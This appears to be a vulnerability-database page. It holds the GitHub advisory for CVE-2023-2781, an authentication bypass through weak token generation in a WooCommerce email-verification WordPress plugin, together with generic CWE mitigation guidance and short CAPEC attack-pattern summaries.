"url": "http://marc.info/?l=bugtraq\u0026m=122460544316205\u0026w=2"
},
{
"type": "WEB",
"url": "http://osvdb.org/49426"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31773"
},
{
"type": "WEB",
"url": "http://www.insomniasec.com/advisories/ISVA-081020.1.htm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31766"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1021071"
},
{
"type": "WEB",
"url": "http://www.symantec.com/avcenter/security/Content/2008.10.20a.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/2876"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H84-2J8Q-RCF8
Vulnerability from github – Published: 2023-06-03 00:30 – Updated: 2024-04-04 04:31The User Email Verification for WooCommerce plugin for WordPress is vulnerable to authentication bypass via authenticate_user_by_email in versions up to, and including, 3.5.0. This is due to a random token generation weakness in the resend_verification_email function. This allows unauthenticated attackers to impersonate users and trigger an email address verification for arbitrary accounts, including administrative accounts, and automatically be logged in as that user, including any site administrators. This requires the Allow Automatic Login After Successful Verification setting to be enabled, which it is not by default.
{
"affected": [],
"aliases": [
"CVE-2023-2781"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-03T00:15:09Z",
"severity": "CRITICAL"
},
"details": "The User Email Verification for WooCommerce plugin for WordPress is vulnerable to authentication bypass via authenticate_user_by_email in versions up to, and including, 3.5.0. This is due to a random token generation weakness in the resend_verification_email function. This allows unauthenticated attackers to impersonate users and trigger an email address verification for arbitrary accounts, including administrative accounts, and automatically be logged in as that user, including any site administrators. This requires the Allow Automatic Login After Successful Verification setting to be enabled, which it is not by default.",
"id": "GHSA-2h84-2j8q-rcf8",
"modified": "2024-04-04T04:31:08Z",
"published": "2023-06-03T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2781"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woo-confirmation-email/tags/3.5.0/public/class-xlwuev-woocommerce-confirmation-email-public.php#L143"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woo-confirmation-email/tags/3.5.0/public/class-xlwuev-woocommerce-confirmation-email-public.php#L332"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woo-confirmation-email/tags/3.5.0/public/class-xlwuev-woocommerce-confirmation-email-public.php#L506"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f1e31357-7fbc-414b-a4f4-53fa5f2fc715?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.